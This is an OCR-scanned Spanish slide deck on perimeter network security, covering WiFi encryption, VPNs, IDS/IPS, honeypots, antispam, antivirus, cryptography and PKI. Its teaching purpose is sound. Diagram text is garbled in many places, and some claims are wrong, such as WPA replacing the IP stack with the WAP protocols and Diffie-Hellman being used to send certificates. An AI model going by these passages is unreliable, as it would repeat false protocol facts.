Las redes WIFI pueden ser menos seguras que las redes cableadas, por lo que es preciso activar en ellas
mecanismos de cifrado:

) WEP (Wired Equivalent Privacy): Protocolo que cifra las comunicaciones empleando una clave que deben
conocer el emisor y el receptor. Al ser la clave estatica, cabe la posibilidad de ser descifrada. WEP permite cifrar
los datos. WEP es vulnerable debido al mecanismo empleado para el cifrado, ya que, de echo, no fue concebido
como protocolo de seguridad.

0 WPA (WIFI Protected Access): WPA y la segunda version (WPA2) utilizan lo indicado en el estandar IEEE
802.11i. La diferencia entre las dos versiones es su compatibilidad con determinados tipos de tarjetas WIFI. WPA
soluciona los problemas de vulnerabilidad de WEP. Mas dificil de romper que WEP, al tratarse de claves dinamicas.
El intercambio de claves se realiza mediante el protocolo TKIP (Temporal Key integrity Protocol). Usando WPA
puede establecerse una autenticacion de las claves empleadas utilizando IEEE 8022.1x y un RADIUS. Usando WPA,
la pila IP se sustituye por unos protocolos de seguridad disefados especialmente para una red WIFI:

L] WSP (Wireless Session Protocol): Protocolo que gestiona las sesiones y la conexién entre dispositivos (Nivel 5)
L WTP (Wireless Transport Protocol): Protocolo similar a TCP o UDP (Nivel 4)
L1 WDP (Wireless Datagram Protocol): Proporciona El interface comun entre los dispositivos (Nivel 2)

Ll WTLS (Wireless Transport Layer Security): Es la capa de seguridad en redes WAP. WTLS aporta servicios de
autenticacion, cifrado e integridad de los datos para dispositivos méviles. WTLS aporta un razonablemente bueno nivel de
seguridad en dispositivos moviles, y también es incluido en sistemas WIFI. Capa que gestiona La seguridad en las
comunicaciones.
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i Wireless switch

Establece un perimetro para usuarios
WIFI, que los mete a todos por un
unico punto de la red, estén donde
estén.

Suelen incluir elementos de
autenticacion fuerte, en ocasiones
PKI, de modo que cada usuario
establece un tunel cifrado contra el
wireless switch. El servidor de
autenticacion es un RADIUS.

Hacen a una solucion WIFI mas
segura que una solucion cableada,
contrariamente a la “opinion
“popular”
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i Wireless switch

El Wireless switch permite concentrar todos los usuarios inalambricos de una red, estén
geograficamente donde estén, en un Unico punto, donde se les aplica determinada politica

de seguridad.

Hasta llegar a ese punto, el trafico viaja cifrado a través del entorno aire. En el wireless
switch se comprueba la autenticacion del usuario, mediante certificados digitales, EAP+NAC
(IEEE 802.1x), y otros mecanismos de autenticacion.

Sélo se permite el acceso a los puntos de
acceso autorizados entrar al sistema. En
ocasiones el trafico entre los puntos de acceso

y el wireless switch es cifrado, aglutinando todo

el trafico de los usuarios (tunel usuario-AP +
tunel AP-wireless switch)

Existen AP con IDS incluido, que detectan

usuarios u otros AP no pertenecientes a la red.

¥ii-Fi Access Point
Firetide HotPort Indoor
Wireless Mesh Router
| e
Ei%;; :i?"' "' . @
e ~

Bluesocket "R T ! )

Wireless ! 2 F I o, .

B f—-f“*ﬂ@)
\

| pe.

\\l. 1P Camers
Firetide HotPort Qutdoor
Wireless Mesh Router

Vii-Fi Access Point
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i Servidor de VPN

Concentra tuneles cifrados (IPSec o
SSL) para que estos usuarios entren
en la red en un punto concreto.

Da acceso a usuarios en movilidad,
otros edificios, etc

A veces esta integrado dentro del
propio firewall, aunque los
dispositivos concretos tienen mejores
prestaciones.

Utiliza servidores de autenticacion
(RADIUS) para autorizar o no al N
usuario, puede combinarse con
técnicas como Token o Swivel
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i Servidor de VPN

— VPN Connection

¥

=

4 @
& o~
VPN Server ™

- Web Server @«-
\ rd Firewall Internet T~
.-"- hﬁ“m‘_

Perimeter
Metwork

— Tunnel

VPN Client
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i VPN — Red Privada Virtual

Emula un entorno cerrado de red, pero empleando redes externas como infraestructura.
Realmente, es una red basada en tineles

Sede

principal

SHHHH - ~ Oficina
I | remota

RTC, GPRS4
remot - = AD

Oficina

Usuario
10

ii . /[_.@g remoto

Y
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i IDS / IPS

Las técnicas de monitorizacion de red permiten
saber qué esta sucediendo en la red. Puede
realizarse en tiempo real (por ejemplo con un
sniffer) o en base a logs y eventos (con un IDS,
Sistema de Deteccidn de Intrusos).

La monitorizacion de la red puede ser interna o
externa. Idealmente, deberian analizarse ambas,
y en un analisis del trafico en ambas
direcciones. El analizador se puede conectar a
un tap o a un puerto de un hub o un switch que
soporte mirror.

Switché's’rae usurios

Analizan todo el trafico en busca de patrones
predefinidos que estén catalogados como
maliciosos.

Servitws de
validacion

IDS: Solo detecta y genera reports y alarmas \

IPS: bloquea el trafico atacante

Problema: posibles falsos positivos, ya
solucionado con determinados fabricantes
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i IDS / IPS

) Para monitorizar la red puede utilizarse un sniffer o un IDS. Un Sistema de Deteccion de Intrusidon (IDS) es un elemento
fundamental en la seguridad y la monitorizacion de red. La deteccidn de intrusismo es el proceso de monitorizar eventos de
sistemas y de la red para determinar si ha ocurrido una intrusion. Una intrusion se define como cualquier accidon que pueda
comprometer la confidencialidad, integridad o disponibilidad de los recursos de la red.

' Un IDS monitoriza la red y genera alarmas en caso de detectarse una intrusion, pero no lo corta. Esta funcion la
realizan los firewalls.

1 Algunos términos que hay que conocer para comprender esta tecnologia de analisis de red son:

Actividad: Un trozo de la fuente de datos que se considera necesario analizar.

Administrador: La persona responsable de las politicas de seguridad.

Alerta: Un mensaje del analizador notificando que ha detectado un evento de interés.

Analizador: Componente que procesa los datos recogidos por el sensor.

Fuente de datos: informacion origen que el IDS usara para buscar en ella actividad sospechosa

Evento: Un evento es la deteccidon de actividad sospechosa en la fuente de datos

Manager: Es el elemento que gestiona la persona que administra el IDS, como la consola

Notificacion: una notificacion es el proceso por el que el manager indica al operador que existe una alerta.
Operador: Persona responsable del IDS

Sensor: Es un componente del IDS que recoge datos de la red y se las entrega al analizador.

OO0 000000 0
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i IDS / IPS

- Un IDS analiza la red empleando dos métodos:

] Signature-based detection o misuse-detection IDS (MD-IDS): Analiza el trafico en base a un archive de
firmas

- Anomaly-detection IDS (AD-IDS): Busca anomalias en el trafico. Normalmente, un software inteligente
analiza el comportamiento habitual de la red, y genera un aviso cuando éste se ve modificado (por ejemplo sube
considerablemente el trafico ICMP)

) Segun su forma de conectarse a la red, un IDS puede ser de red o de host:

 N-IDS (Network-based IDS): Se conecta a un punto de la red donde se pretende analizar el trafico. Deberia
conectarse antes del firewall, para tener informacion real de los ataques que pretenden realizarse contra la
empresa. Si se conecta después del firewall no se tendra la vision completa, solo del trafico no bloqueado por el
firewall.

1 H-IDS (Host-based IDS): Se instala como software dentro de un servidor, aunque esto tiene algunos
problemas. El primero es que si se ataca al servidor, seria posible borrar la informacion del IDS, anulandolo. El
segundo es que hacen falta tantos H-IDS como servidores, y hay que gestionarlos a todos. Un H-IDS normalmente
solo puede hacer respuestas pasivas ante un incidente.
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i IDS / IPS

1 Un IDS puede, en principio, realizar acciones pasivas o activas ante un incidente:

] Respuestas pasivas: Una respuesta pasiva se basa en alguno de estos tres métodos:
] Logging: Grabar el evento y las circunstancias en que se da el evento.

- Notificacion: Comunicar el evento al personal responsable de la seguridad.

1 Shunning: Ignorar el error (por ejemplo, se detecta un ataque contra un servidor web IIS pero el que
esta instalado es Apache)

1 Respuestas activas: Una respuesta activa toma acciones para mitigar el evento:

] Terminar el proceso o sesion: Si se detecta un ataque, un IDS puede forzar a un sistema a resetear
todas las sesiones TCP abiertas (enviando senales de reset)

] Cambios en la configuracion de red: El IDS podria dar indicaciones a un firewall para aislar
determinada IP o red que esta siendo origen de los problemas, o bloguear el socket (IP+puerto) del servidor
contra el que se esta generando el ataque.

] Deception: Consiste en hacer pensar al atacante que esta teniendo éxito, cuando realmente el ataque se
esta derivando a un sistema preparado para ser atacado.
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i IDS / IPS

Vulnerablllty

= Malicious Code (virus, trojan, etc.)

= Spyware

= P2P and Chat (and other rate limiting applications)
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IDS / IPS

Reconnaissance

Protocol Anomaly

Policy (email attachments, open shares, blank or common
passwords, etc.)
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Vulnerability

Use:
* Protocol
Decoders
* Regular
Expressions
 Application
Message Parsing

To Detect and
Prevent :
* Unknown
Exploits
* Worms/Walk-in
Worms
» Unauthorized
Access

Anomaly

Use:
« RFC Compliance
* Protocol
Decoders
* SYN Proxy
* Normalization

To Detect and
Prevent:

* Evasions

e Unknown
Exploits

 Traffic Anomalies

* Unauthorized
Access

* SYN Floods

Signature

Use.
* Fixed Patterns
* Regular
Expressions

To Detect and
Prevent :
* Viruses
e Trojans
» Known Exploits
» Peer to Peer
Apps
» Unauthorized
Instant
Messaging
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Traffic
Anomaly

Use.
* Traffic
Thresholds
» Connection
Limits
« Connection Rate
Limits

To Detect and
Prevent :
* DDoS Attacks
¢ Unknown Attacks
 Traffic Anomalies
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i IDS / IPS

False _
Space of attack variations positives ~ generic
. based on vulnerability  False attack

negatives

f filter 1 fine-grain
filt

»,.

published
exploit

v
v
v

(a) (b) (©)

177



www.francisco-valencia.es

i Filtrado

Servicios proxy

T

‘ —— — fServidor SMTRx©

:1:1:4

ELEMENTQOS DE FILTRADO
Control de contenidos
Filtrado de correo (AntiSPAM)
Antivirus perimetral

INSTALACION DE ELEMENTOS DE FILTRADO
Instalacion de elementos en modo transparente
Instalacion de elementos en modo proxy / Relay
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i Honeypot

1 EI HONEYPOT es un elemento preparado para recibir ataques. Mientras los ataques tratan
de acceder al mismo, se obtiene mucha informacion sobre los mecanismos empleados para ello,

Sin riesgo.

J Una de las iniciativas de honeypots mas interesantes es una red completa, con servidores,
estaciones de trabajo, comunicaciones, servicios y todo lo demas simulada por software y
presentada a través de una Unica conexion a la red. permite analizar todo lo que sucede dentro
de la misma con IDS virtuales colocados en los segmentos de la red.

. Para hacer que los hackers caigan en el honeypot, hay dos métodos:

] Enticepment (Seduccion): Es tratar de hacer que a los hackers les interese caer en
la trampa, por ejemplo, ofreciendo software gratis, presumir de que tu sistema es
invulnerable, etc.

J Entrapment (Atrapamiento): Se obliga a un hacker a romper un sistema (por
ejemplo como parte de un proceso policial)
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i Control de Contenidos

) Elemento que permite o prohibe el acceso a determinados sitios WEB
en funcion de su contenido

) Puede realizar la funcidon de categorizacion de dos modos:

) Estatico: mediante listas blancas y listas negras de URL’s
permitidas y prohibidas, o mediante filtros basicos por contenido
(busqueda de determinadas palabras en la WEB visitada)

O Dinamico: Mediante la suscripcién en un servicio de
categorizacion

) Una vez categorizado el destino, se permite o se prohibe el acceso al
mismo. Puede enviarse un mensaje al usuario y al administrador del
motivo de la prohibicidn.

] Puede basarse en multiples politicas (horarias, cuota de trafico o
tiempo, perfil del usuario, etc)

URL Database

CJ Es un elemento de gestion de politicas de uso, pero también una
barrera de seguridad eficaz, si la categorizacion es correcta

O Los fabricantes dan otros usos a la informacion analizada
(antiphishing, por ejemplo)
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i AntiSPAM

) El 98% del correo electronico que circula por Internet es SPAM.

Esquema Antispam-Antivirus

Test Cabeceras
T!!!.s.l..ljﬂﬂun
"I'll'ltl".‘r.ﬁtrpﬁ
Test IP fRBL 2

erit. Artecedertes

T-l-si Htuist:ica i

bisignar puntuacién

L Un AntiSPAM es un dispositivo que bloquea la entrega del correo no
autorizado al usuario.

() Esta afectado por el problema de los falsos positivos, con lo que tienen
que dotarse de sistemas de cuarentena, que permitan al usuario
comprobar si existen o no correos “buenos”.

) Los mas potentes basan su decision en tres filtros: B Analisis AV

) 1- Filtro de reputacion: En funcion del nimero de correos
gue un sender envia. Se obtiene el valor mediante honeypots y logs
eviados por los propios filtros que cada fabricante tiene instalados
en sus clientes.

|- Evaluacién | [
| Modificacion)|

Limpiar y erdregar

[ 2- Heuristico: tratando de analizar el contenido y | _ |
categorizando el mismo como SPAM o no, en base a los mensajes v for™s N

tipo que suelen ser enviados por este sistema (medicamentos, )
Rcirmir st ]
Entregar / Rebotar Cola de entrega ) ELLI LRI EHTITE

Mensajes limpios

phishing, pornografia, etc). Andlisis de imagenes con OCR.
) 3- Integracion con otros elementos, como antivirus, control Liberacidn de cuarentena
de contenidos etc
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i AntiVIRUS

] Ademas del Antivirus a instalar en el puesto de trabajo, es necesario instalar un antivirus perimetral

] El Antivirus perimetral analiza el contenido del trafico (HTTP, FTP, SMTP) y corre sobre el mismo el
proceso de;:

] Comparativa con firmas o patrones presentes en virus, gusanos, troyanos, etc
J Analisis heuristico del contenido, analizando lo que un software desea realizar
1 El antivirus perimetral bloquea el trafico afectado por un virus una vez lo ha detectado.
J todos almacenan un logo con las acciones tomadas
- Algunos informan al usuario de las mimas mediante una pantalla WEB, e-mail, etc

] Pueden instalarse aislados, pero suelen estar en la msima plataforma que otro elementos de
seguridad (proxy, antispam, firewall, etc)



i AntiVIRUS

W32/MyTob.JT-net

Sophos

McAfee
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Fortinet Kaspersky Fprot Trend Symantec
8/6/05 4:28 AM 8/18/05 12:12 8/18/05 4:01 PM 8/19/05 6:42 AM
8/8/05 10:07 AM PM 8/21/05 8:22 PM
W32/Zotob.H-mm Kaspersky Fortinet Symantec McAfee Sophos Fprot Trend

8/6/05 12:43 AM

8/6/05 4:28 AM

8/6/05 5:42 AM

8/8/05 10:07 AM

8/21/05 1:31 AM

8/22/05 6:17 AM

8/22/05 8:53
PM
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Kaspersky
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Fortinet

Trend

McAfee
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Symantec

8/19/05 8:51 AM

8/23/05 3:08 PM

8/23/05 4:46 PM

8/23/05 8:23 PM

8/24/05 8:06 AM

8/24/05 8:47 AM

8/24/05 11:01
AM

W32/Lebreat.M-net

Kaspersky

Sophos

Fortinet

Trend

Fprot

Symantec

McAfee

8/24/05 2:14 PM

8/24/05 3:59 PM

8/24/05 4:22 PM

8/25/05 4:04 AM

8/25/05 5:18 AM

8/25/05 11:11 AM

8/26/05 8:17
AM

W32/Dloader.748-tr

Fortinet

Kaspersky

Sophos

Fprot

McAfee

Symantec

Trend

8/24/05 4:22 PM

8/24/05 10:39

PM 8/25/05 8:24
8/24/05 4:34 PM 8/25/05 5:18 AM 8/25/05 8:06 AM 8/25/05 11:11 AM PM
W32/MyTob.5B00-net
Kaspersky Fortinet McAfee Fprot Trend Symantec
8/8/05 10:07 AM 8/24/05 3:00 PM 8/25/05 8:24 PM
8/6/05 12:43 AM 8/6/05 4:28 AM 8/26/05 12:41 PM




www.francisco-valencia.es

UTM (Unified Threat Manager)

= Firewall = Antispam

= Defiende contra Intrusiones = Reduce email no deseado
= Antivirus = Web filters

= Protege email de infecciones = Elimina navegacion no productiva
= IPS/IDS = VPN

= Protege contra ataques maliciosos = Proporciona acceso seguro remoto
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UTM (Unified Threat Manager)

= Firewall = Antispam

= Defiende contra Intrusiones = Reduce email no deseado
= Antivirus = Web filters

= Protege email de infecciones = Elimina navegacion no productiva
= IPS/IDS = VPN

= Protege contra ataques maliciosos = Proporciona acceso seguro remoto

Anti -SPA
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i Evolucion del Perimetro

¢ Por qué deja de ser valido este concepto de perimetro?

(JEVOLUCION DE LA FORMA DE HACER NEGOCIOS

(JEVOLUCION DE LOS INTERESES OBTENIDOS POR UN ATAQUE

(JEVOLUCION EN EL MODO DE ATACAR: INGENIERIA SOCIAL
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Evolucion de la forma de hacer negocios

INo cabe duda que la forma de entender los negocios ha cambiado . Estos cambios han sido
motivados por:

Globalizaciéon, apertura de mercados...
IMayor informacién a disposiciéon del consumidor
JGran avance de la tecnologia —> Ciclo de vida de los productos mucho mas corto
JAumento desproporcionado de la competencia. Hay mas oferta que demanda
JGrandes alianzas sectoriales que amenazan la vida de las empresas

¢, Qué han provocado estos cambios en la forma de comp rar de los clientes?

Lo de siempre: demanda de un producto de calidad, un buen precio, un buen servicio...

1Y lo nuevo: Demanda de la INMEDIATEZ
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cInmediatez?

1 Para ser competitivo, hay que asegurar que el producto se encuentra donde el cliente lo necesi  ta, y en el
momento en que el cliente lo necesita

] Establecimientos abiertos 24 horas, disponibilidad permanente a través de teléfono o Internet, presencia
comercial ubicada en el cliente, etc son cada vez mas necesarios.

lEsto hace que la empresa deba disponer de recursos fuera de su pe rimetro de seguridad , de manera
que estén cerca de sus clientes. ¢ Como se defiende a estos recursos? ¢Como se les dota de los servicios
corporativos que necesitan? ¢ Deberian fiarse del perimetro de su cliente?

I Nuestros proveedores haran lo mismo, e introduciran a Sus recursos en nuestra organizacion . ¢Se les
debe excluir del perimetro? ¢Se debe confiar en ellos y meterlos dentro?

JHacen falta nuevas tecnologias de comunicaciones (WIFI, UMTS, VolIP, etc) que permitan la movilidad
necesaria, sobre las que surgen nuevos ataques y requieren nuevas técnicas de seguridad
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Evolucion de la forma de hacer negocios
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(UTENEMOS QUE ABRIR LAS PUERTAS AL EXTERIOR
(INuestros recursos estan fuera de la empresa

LINuestros sistemas deben interactuar con los del entorno
(Tenemos que dar acceso a personal externo

(Los recursos son dindmicos y moviles. La rotacion es elevada
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Nuevos intereses de los hackers

1996 > 2006
« Hackers aficionados « Crimen organizado
» Web deface  Robo de IP’s
IS - virus + Robo de identidad
‘ « Ataques no habituales « Busqueda de

« Blisqueda de diversion Informacion
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Nuevos tipos de ataques

JHASTA AHORA: ATAQUE TECNOLOGICO
JLos ataques eran siempre desde el exterior
INo se contaba con nadie del interior como aliado
1Se atacaba directamente a sistemas
LJAtagues de intrusismo
LJAtagues a vulnerabilidades
JAtaques directo a puertos
INo se buscaba informacion, solo hacer dafio

JAHORA: ATAQUE POR INGENIERIA SOCIAL

) Técnicas “sencillas” de Ingenieria social, como SPAM, Phishing, falsas camparias
telefénicas, falsos anuncios en prensa, etc

Jintrusismo y espionaje industrial (buscar documentos en impresoras, despachos,
etc)

Meter el troyano en la empresa con argumentos publicitarios
Desde el ordenador del atacado (dentro del perimetro) se ataca a la organizacion.
ICualquier informacién es MUY valiosa para el atacante
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Necesidad de evolucion del perimetro

Por el acercamiento al cliente Por el valor de la informacion Por la evolucion del ataque

\ ¢
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(IPasado...
1Seguridad soélo en el perimetro
(Situacion inicial
JYa no es valida

... Presente ...
1Segmentar el perimetro
1Segmentacién basada en infraestructura
IDificultad de gestién centralizada

... Futuro
JSegmentaciones de “perimetro Uno”
(Seguridad no basada en infraestructura
(Gestién centralizada
(IPermite adaptase al negocio
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& Seguridad en puesto

Requisitos Soluciones

Mitigar Malware Antivirus, anti-spyware, firewall,

control de programas

Proteger Datos é Cifrado de disco y de dispositivos,
control de puertos

Reforzar NAC, chequeo politicas, auto-
Politicas Seguridad remediacion

VPN, conectividad flexible y
opciones de autenticacion

é Sistema Gestion Unificado,
Consolas Simples

para el usuario final, faclil
gestion

viinimizar Impacto

Usuario
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Cifrado y Control de Acceso

) Cifrado fisico a nivel de formatos y archivos  : Disco duro y dispositivos
) Cifrado légico de archivos:  Recursos compartidos en red y backup
] Control de acceso: Autenticacion Previa al Inicio del SO:
J Usuario y Password de Dominio
J Token fisico (SmartCard o Token USB)

) Certificados digitales en dispositivo hardware
] Biometria




Gestion de Grupos

J Gestion de Grupos: los Circuitos Cerrados de Informacion

en mayor medida que la informacion:

] Sea protegida y controlada por la organizacion.

www.francisco-valencia.es

, seran los que garanticen

] Sea accedida Gnicamente por los usuarios que deban hacerlo

J Sea inaccesible a toda persona ajena a dicha organizacion

CCI: Circuitos Cerrados de Informacioén

Datos cifrados,
perfiles autorizados,
acceso transparente

Direccién
General

Financiero

Clave FI ' _ﬁ

Datos cifrados,

¥ sélo accesible

mediante perfil
SSF autorizado.
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Control de Puertos

El uso de dispositivos de almacenamiento externo es una de las mayores amenazas

!

() Necesario un sistema de

proteccibn que cubra los [ Control de la utilizacion de diversos puertos
riesgos concernientes a la hardware

utilizacion 'y conexién de
dispositivos hardware en un
equipo:

para la informacion confidencial

() Filtrado de conexiones de dispositivos hardware:
USB, HDD externo, CD, DVD

() Blindaje de la plataforma

) Control del wuso indebido de recursos
empresariales

) Aumento de la productividad laboral
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Control de Aplicaciones

Extension de la seguridad a las aplicaciones que se ejecutan en el puesto de trabajo.
Unicamente las aplicaciones autorizadas pueden ejec  utarse.

) Beneficios : ) Funcionalidad :
) Proteccion frente a amenazas , tanto 1 Control dindmico de la ejecucion
conocidas como desconocidas, que basado en firma digital

escapan al control del software de

antivirus (virus, troyanos, etc.) 0 Modo aprendizaje Modelo de

gestion centralizada
L Solucién con impacto minimo en el

rendimiento del PC O Seguridad multinivel

) Mayor estabilidad del PC lo que
redunda en una disminucién del coste
total de propiedad de la solucion (TCO)

] Posibilidad de obtener
shapshots

L Filtro automatico para las
actualizaciones
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PRACTICA Seguridad Perimetral

USUARIO EXTERNO

;?’ WEB SERVER

" SERVICIOS INTERNOS

\
/) & v Ve /&

USUARIOS
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PRACTICA Seguridad Perimetral

o8

USUARIO EXTERNO

FTP
g7
SERVICIOS EXTERNOS 7 7 SERVICIOS INTERNOS

v /5 /o

USUARIOS 201
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PRACTICA Seguridad Perimetral

) Usuarios internos:

) Tienen permiso para navegar por Internet, usando SOLO el puerto 80 y sin ningun
contenido adicional (scripts, cookies, java, ficheros, imagenes, etc)

) Tienen permiso para visitar la WEB corporativa (solo puerto 80)
] Tienen permiso para utilizar el servidor FTP corporativo

] Usuario externo:
) Tiene permiso para conectarse al servidor WEB de la DMZ (Solo puerto 80)

] Servidor WEB:
] Tiene permiso para servir HTTP a quien se lo solicite

) Tiene permiso para navegar por Internet, usando SOLO el puerto 80 y sin ningun
contenido adicional (scripts, cookies, java, ficheros, imagenes, etc)

J Servidor FTP:
J Tiene permiso para servir FTP a quien se lo solicite 202
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Tunelizacion

VPN
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Firma digital
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‘L Proceso de comunicacion

MENSAJE
—
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i Proceso de comunicacion

¢El mensaje sera
integramente del

¢Se lo estaré ¢Podra emisor?
mandando escucharlo

realmente al alguien? ¢Sera realmente
receptor? el origen?

¢Tendré espias l
en mi PC? 7

¢Tendré espias
en mi PC?

EMISOR RECEPTOR
¢Podra el = [] :Se habra ¢Ha|bre reC|I_3|do
receptor negar M modificado el € me?staj_?
que ha recibido MENSAJE mensaje? completo-
esta —
informacion?
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i Tunelizacion y cifrado

¢Se lo estaré

mandando -
realmente al ¢Sera realmente
receptor? el origen?

¢Tendré espias

¢Tendré espias

~

en mi PC? — n mi PC?
EMISOR RECEPTOR o1 MIPC:
¢Podra el == U
receptor negar
que ha recibido MENSAJE
esta —
informacion?

206



www.francisco-valencia.es

i Autenticacion

¢Tendré espias
en mi PC?

¢Tendré espias

— - esp
EMISOR RECEPTOR " MiPC:
MENSAJE
—
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Otros riesgos

| | Entidad Certificadora

MENSAJE
—

VIRTUALIZACION, ANTIVIRUS, FIREWALL, Y OTROS SISTEMAS..
208



i Tunelizacion

Es el hecho de meter un paquete IP completo en una cabecera IP. Haciendo otro nuevo

paquete

www.francisco-valencia.es

Este nuevo paquete es enviado a un destino determinado. El destino elimina la primera

cabecera del paquete

El paquete resultante es el original , \

—

&
10.10.10.5 10.10.10.1

D

80.23.57.6
DATOS 10.10.10.5 | 192.168.10.3
DATOS TUNEL 80.23.57.6 25.36.98.2

==

192.168.10.1

25.36.98.2

L

192.168.10.3
DATOS 10.10.10.5 | 192.168.10.3
DATOS TUNEL 80.23.57.6 25.36.98.2
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i Cifrado

Es el concepto de cifrar una comunicacion, empleando un cédigo conocido por el emisor y
el receptor para evitar que sea leido y comprendido por personas no autorizadas.

&
10.10.10.5 10.10.10.1

—
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D

Qo

80.23.57.6
DATOS 10.10.10.5 | 192.168.10.3
EBUPT UVNFM | 80.23.57.6 25.36.98.2

==

L

25.36.98.2 192.168.10.1 195 168.10.3
DATOS 10.10.10.5 | 192.168.10.3
EBUPT UVNFM | 80.23.57.6 25.36.98.2
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i Tunelizacion

Tunnel Mode

IP HDR

New IP HDR [Psec HDR

May Be Encrypted ———p

Transport Mode
A I |

May Be o
Encrypted

IPHDR IPsec HDR
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i IPSec y SSL

212
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IPSec y SSL

Router to Firewall

Router to Router

, .. PC to Server

7> También SSL

%@ PC to Router®
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i VPN — Red Privada Virtual

Emula un entorno cerrado de red, pero empleando redes externas como infraestructura.
Realmente, es una red basada en tineles

Sede

principal

SHHHH - ~ Oficina
I | remota

RTC, GPRS4
remot - = AD

Oficina

Usuario
10

ii . /[_.@g remoto

Y
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Criptografia

] La Criptografia es el hecho de cifrar mediante el empleo de un cddigo un determinado mensaje para que no pueda ser
desvelado a personas que no dispongan de dicho cédigo y, por tanto, no estén autorizados a ello.

1 Cuando se inventa un cédigo, éste se hace, evidentemente, para ser irrompible, pero esto deja de ser asi cuando
alguien lo rompe. Algunas técnicas empleadas para ello son:

1 Analisis de frecuencia: consiste en escuchar los mensajes cifrados durante el tiempo suficiente para observar en
€l patrones repetidos. Estos patrones pueden dar una idea de los protocolos que se estan transmitiendo, v,
conocidos ellos, obtener el cédigo de cifrado empleado.

1 Errores en los algoritmos:  Los algoritmos de cifrado son modelos matematicos que después son programados en
ordenadores. En esta programacion pueden existir errores o vulnerabilidades que permitan obtener informacion
sobre el cédigo empleado.

) Fuerza bruta: Consiste en tratar de encontrar la llave de cifrado mediante intentos con combinaciones de
caracteres.

1 Errores humanos: Por ejemplo, alguien que recibe un mail cifrado, luego lo reenvia sin cifrar, y el hacker, si lee
ambos correos, tendra la capacidad de descifrar el codigo.
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Criptografia fisica

) Criptografia Fisica: No se utilizan operaciones matematicas para realizar el cifrado
J Sustitucién o transposicion  de caracteres, palabras o trozos del mensaje

“HOLA ME LLAMO PACO” - “4H9672055667094P7C9”

NUMERO LETRAS + CODIGO MURCIELAGO

] Esteganografia: consiste en ocultar un mensaje dentro de otro

‘PACQO" -> “POR FAVOR DECODIFICA ESTO”

J Sistemas hibridos: hacen mucho mas complejo de descifrar el mensaje real si se desconoce el
codigo empleado
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Criptografia matematica

) Criptografia Matematica: Tiene que ver con la realizacion de operaciones matematicas sobre el
mensaje.

J HASHING: Conversion de todo el mensaje a un valor de HASH (por ejemplo, sumar todos los codigos de
las letras del mensaje y al valor resultante multiplicarlo por el nimero de letras que hay)

“HOLA ME LLAMO PACQO” - 22762
(72+79+76+65+32+77+69+32+76+76+65+77+79+32+80+65+67+79) * 19 = 22.762
A partir del valor de hash es imposible obtener el mensaje original

) Es utilizado para enviarlo con el mensaje y que el receptor pueda, calculando el mismo hash,
comprobar la integridad y autenticacion del mensaje

J Su ataque consiste en tratar de encontrar dos menajes con el mismo hash.
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Criptografia matematica

) Secure Hash Algoritm (SHA): Es un algoritmo empleado para dotar de integridad al
mensaje. Se trata de un protocolo one-way que produce un hash. Posteriormente, este hash
puede ponerse junto con el mensaje a transmitir y cifrarlo todo junto, firmando el mensaje.

) Messade Digest Algoritm (MD): Es un algoritmo one-way que genera un hash a partir de
un valor, usado para mantener la integridad. Es mas rapido que SHA, pero se ha visto

comprometido (se han localizado colisiones, es decir, varios mensajes que dan el mismo
hash)
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Criptografia matematica

1 Algoritmos simétricos: Requiere que en ambos extremos se conozca la misma llave para poder cifrar
o descifrar los mensajes. Esta llave debe ser protegida

] Data Encryption Standard (DES): Algoritmo de 56 bits, ya comprometido y sustituido por AES.
J Triple DES (3DES): Es un upgrade tecnoldgico de DES, aunque se utiliza mas AES.
] Advanced Encryption Standard (AES):  Soporta llaves de 128, 192 y 256 bits.

J Algoritmos asimétricos:  Utilizan dos llaves, una para cifrar y otra para descifrar. Cuando se desea
enviar un mensaje a un destino se utiliza la clave publica de ese destino para cifrar el mensaje, y solo el
destino, empleando su clave privada, podra descifrarlo. La clave privada debe mantenerse segura. Esta
arquitectura se llama PKC (Public Key Cryptography). Se utilizan cuatro sistemas asimétricos:

J RSA: RSA es un sistema de clave publica muy implementado. Trabaja tanto para cifrado como para
firma digital.

] Diffie-Hellman: Se utiliza para realizar el envio de certificados a través de redes publicas
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Criptografia cuantica

) Criptografia Cuantica:
] Se basa en las caracteristicas de las particulas mas pequefias conocidas.

J El proceso depende del modelo llamado Principio de Incertidumbre de Heisenberg, segun el cual el
mero hecho de observar o medir algo, hace que el resultado varie

J En la criptografia cuantica, empleada exclusivamente en transmisiones o6pticas, el mensaje es
enviado con una serie de fotones polarizados de determinado modo. El hecho de leer estos fotones
hace que modifiquen su polaridad, con lo que el mensaje se ve alterado por el mero hecho de haberlo
leido. Solo el receptor, preparado para recibir el mensaje de un determinado modo, puede leerlo
correctamente.
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i Public Key Infraestructure

] Un sistema criptografico deberia cubrir todos los servicios de la seguridad:

J Confidencialidad: La capacidad de un sistema criptografico de dotar confidencialidad se llama robustez. Un
sistema es robusto cuando su mecanismo de cifrado lo es. Se mide en el factor de trabajo, que aporta una medida
del tiempo y esfuerzo necesarios para romper un cifrado.

J Integridad: Es asegurar que el mensaje no ha sido modificado. Para ello se puede agregar un MAC (Message
Authentication Code) al mismo mensaje. Este MAC sale de una operacion de hash sobre el propio mensaje. Si el
mensaje es modificado, también lo es el MAC, con lo que es posible detectar esa situacion.

 Firma digital: Una firma digital se obtiene a partir de un hash del documento, que posteriormente es cifrado
utilizando la clave privada del emisor. El receptor para comprobar la integridad y autenticidad debe calcular el mismo
hash del documento, y descifrar el hash recibido utilizando la clave publica del emisor. Si coinciden, el documento es
originariamente del emisor y se garantiza su integridad. La autenticacion se logra mediante firma digital, aunque
también puede lograrse mediante la insercién de palabras clave en el mensaje, que respondan a un reto enviado por
el receptor.

1 No repudio: EIl no repudio es evitar que se pueda negar una accion realizada. En estructuras de PKI se utilizan CA
(Certificate Authorities), que gestionan las llaves publicas y gestionan la validacion de los certificados.

] Autorizacion (Control de Acceso):  El control de acceso son los mecanismos que se llevan a cabo para evitar que
se acceda a sistemas que realizan la criptografia. Los certificados pueden ser perdidas o robadas. Deben incluirse
meétodos de seguridad fisica y l6gica para evitar el comprometer las claves privadas de un sistema. 221
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i Public Key Infraestructure

] Autoridad Certificadora (CA): Es un sistema u organizacion que es responsable de entregar, revocar y distribuir los
certificados.

1 El certificado asocia una pareja de claves a un individuo o sistema, con lo que se debe disponer de suficiente
informacion del sistema.

J Las CA’s pueden ser publicas o privadas.

(] Autoridad Registradora (RA): Este sistema apoya a la CA para prevenir demasiada carga en la misma. Puede
distribuir certificados, aceptar registros de la CA y validar identidades.

(] Autoridad Registradora Local (LRA):  Se trata de una RA pero que ademas tiene la potestad de aceptar registros de
nuevas identidades.

